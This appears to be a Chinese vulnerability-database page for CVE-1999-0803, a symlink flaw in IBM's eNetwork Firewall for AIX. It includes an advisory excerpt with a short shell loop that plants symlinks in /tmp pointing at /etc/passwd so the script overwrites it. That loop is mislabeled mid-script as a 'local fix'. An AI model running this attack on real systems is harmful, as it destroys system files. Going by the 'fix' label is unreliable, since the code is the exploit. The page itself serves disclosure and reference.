AIX eNetwork防火墙fwluser脚本写任意的文件漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1105457 漏洞类型 未知
发布时间 1999-05-25 更新时间 2005-05-02
CVE编号 CVE-1999-0803 CNNVD-ID CNNVD-199905-045
漏洞平台 AIX CVSS评分 2.1
|漏洞来源
https://www.exploit-db.com/exploits/19229
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-199905-045
|漏洞详情
AIXeNetwork防火墙中的fwluser脚本存在漏洞。本地用户借助符号连接攻击写入任意的文件。
|漏洞EXP
soure: http://www.securityfocus.com/bid/287/info

IBM's eNetwork Firewall for AIX contains a number of vulnerability in scripts which manipulate files insecurely. When fwlsuser script is run it creates a temporary file called /tmp/fwlsuser.PID ( where PID is the process ID of the command being run ). If this file is created previously and is a link to any other file the output generated by the fwlsuser script will overwrite this linked file. 

x = 5000
while true

LOCAL FIX AS REPORTED BY ORIGINATOR:
ln -s /etc/passwd /tmp/fwlsuser.$x
# rm /tmp/fwlsuser.$x
let x=$x+1
echo $x
done
exit
|参考资料

来源:OSVDB
名称:962
链接:http://www.osvdb.org/962
来源:BUGTRAQ
名称:19990525IBMeNetworkFirewallforAIX
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=92765973207648&w=2